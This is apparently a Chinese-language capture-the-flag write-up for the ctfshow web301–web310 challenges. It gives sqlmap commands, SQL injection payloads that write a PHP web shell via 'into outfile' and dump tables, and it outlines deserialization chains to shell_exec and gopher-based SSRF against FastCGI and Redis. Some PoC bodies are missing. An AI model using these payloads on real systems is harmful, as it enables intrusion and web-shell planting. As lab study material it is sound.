- web301
- web302
- web303
- web304
- web305
- web306
- web307
- web308
- web309
- web310
下载下来源码,发现checklogin.php里面的sql语句没有任何的过滤。 所以直接注入就可以了。用sqlmap跑了下得到用户名密码 admin ctfshowwwww登陆进去就有flag
python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump
然后我们也也可以写个木马 userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b
发现当前目录下有flag.php打开即可得到flag。
根据提示 修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
我们发现他用的是$row['sds_password'])
,也就是他已经执行完了sql语句,所以我们不用管他判断后会怎样。直接在checklogin.php写shell就行了 payload userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b
在dptadd.php中存在注入点 有个insert而且没有任何过滤。插入的数据会在dpt.php中查询出来
但是有个前提,必须得先登陆成功
有几个地方需要注意,用户名有长度限制,而且查询语句没有用到userpwd, 查询成功后会进行比较。
那用户名我们就老老实实的写个admin。密码我怎么也不知道怎么弄,后来随便试了下admin,结果成功了=_= 。。。。。 剩下的就简单了,在dptadd.php中进行注入。 payload: 查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
查列名 dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
查数据 dpt_name=1',sds_address =(select flag from sds_fl9g)%23
没找到waf 就改了下表名 sds_flaag 还是上面的payload
web305多了个waf和class.php 先看下waf,基本上注入没有啥希望了。再看下class.php。有个写文件操作。 在checklogin.php中存在反序列化的点。 所以传个cookie就可以了 poc:
';
}
$a=new dao();
echo base64_encode(serialize($a));
传到cookie里面访问下index.php就可以生成木马了。
web307开局先搜了下unserialize发现了四个。。。。。那我们先找可利用的函数,找到个shell_exec,然后找调用的地方。 有两处,比较一下就可以发现logout.php中的很好用
只要修改下config类中的
$cache_dir
然后命令拼接下就行了。 我们这个反序列化出来的service有两个选择,一个是生成service类,一个是生成dao类。两个都可以调用clearCache函数,但是service是通过dao类调用的clearCache。所以我们不需要用到service类。直接
poc:
反序列化后会生成dao类,然后去调用clearCache函数,这时的cache_dir我们已经修改了。
web308与上一题相比,命令执行利用点增加了过滤。输入的内容中只允许存在字母,所以这个利用点我们放弃。
然后在fun.php处多了个ssrf利用点。
找具体的调用位置,在dao.php中被调用。我们再来找checkVersion在哪被调用。
在index.php中存在利用点。跟上一题基本差不多.
poc
具体的值通过gopherus生成 下载地址https://github.com/tarunkant/Gopherus
把生成的poc传到cookie中,然后就会生成a.php,剩下的就简单了。
打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的 gopher://127.0.0.1:9000 poc:
web310
9000和6379都是关着的。那我们可以试试读下配置文件 poc
得到关键信息
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
接着访问下 poc
得到flag,flag需要大家仔细找下。